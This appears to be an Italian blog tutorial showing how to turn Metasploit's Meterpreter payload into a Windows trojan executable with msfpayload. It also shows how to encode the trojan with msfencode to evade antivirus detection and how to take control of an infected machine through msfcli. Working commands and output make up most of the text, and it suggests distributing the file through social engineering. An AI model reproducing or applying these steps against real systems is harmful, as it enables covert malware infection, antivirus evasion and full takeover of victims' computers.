Con Metasploit è possibile creare ed eseguire exploit per ottenere l’accesso remoto a computer vulnerabili. L’interazione col computer colpito viene garantita da diversi payload che forniscono l’interfaccia tra l’attaccante e l’obiettivo. Uno di questi payload è il potente Meterpreter.
Una caratteristica interessante dei payload di Metasploit è che possono essere resi indipendenti dall’exploit; per esempio è possibile creare un file eseguibile “contenente” Meterpeter: si tratta a tutti gli effetti di un trojan. Questo file può essere distribuito, magari sfruttando tattiche di social-engineering. Una volta in esecuzione sulla macchina target offre all’intrusore un’interfaccia che consente a quest’ultimo il controllo totale del sistema.
Per creare un Meterpreter/trojan che apra la porta Tcp 4444 sulla macchina della vittima, è sufficiente eseguire msfpayload con i seguenti parametri:
$ msfpayload windows/meterpreter/bind_tcp X > trojan.exe
Created by msfpayload (www.metasploit.com).
Payload: windows/meterpreter/bind_tcp
Length: 298
verrà prodotto un file di circa 37KB dal nome trojan.exe.
Probabilmente gli antivirus saranno in grado di rilevare questo file. Per tentare di confondere gli antivirus è possibile cifrare il trojan così ottenuto, rendedolo “undetectable”. Par farlo si usa msfencode, sempre in dotazione alla suite Metasploit:
$ msfpayload windows/meterpreter/bind_tcp R | msfencode -t exe > trojan.exe
[*] x86/shikata_ga_nai succeeded with size 326 (iteration=1)Questo comando fa in modo che ad ogni esecuzione venga creata una versione del trojan cifrata tramite xor; di fatto ogni volta viene creato un file diverso. Questa tattica rende più difficile agli antivirus l’individuazione del trojan.
Una volta creato il trojan è possibile testarlo eseguendolo sulla macchina locale. Se il trojan si avvia, sarà presente nella lista dei processi e nell’elenco delle porta aperte apparirà la porta 4444 aperta:
$ netstat -an
Connessioni attive
Proto Indirizzo locale Indirizzo esterno Stato
TCP 0.0.0.0:4444 0.0.0.0:0 LISTENINGRimane un problema: come accedere alla PC compromesso, su cui gira il nostro Meterpreter/trojan? Serve un client. E naturalmente il client naturale è Metasploit, in particolare msfcli. Per collegarsi al Meterpreter remoto si usa msfcli specificando il tipo di payload e l’indirizzoo remoto (RHOST). In questo esempio l’indirizzo remoto è in realtà l’indirizzo del computer locale, su cui gira il trojan:
$
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp RHOST=127.0.0.1 E
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Starting the payload handler...
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (127.0.0.1:14359 > 127.0.0.1:4444)
Una volta avviato Meterpreter, la macchina è sotto il nostro completo controllo:
meterpreter > sysinfo
Computer: RONIN
OS : Windows XP (Build 2600, Service Pack 2).
Arch : x86
Language: it_IT
meterpreter >In questo articolo ho mostrato come estrapolare il payload Meterpreter per poterlo utilizzare come trojan, come renderlo non rilevabile (o come tentare di farlo) dagli antivirus, e come collegarsi al trojan sfruttando la versione msfcli di Metasploit. E’ chiaro che utilizzando queste tecniche con tattiche di social-engineering, il penetration tester ha a disposizione un’arma formidabile per ottenere il controllo di qualsiasi computer.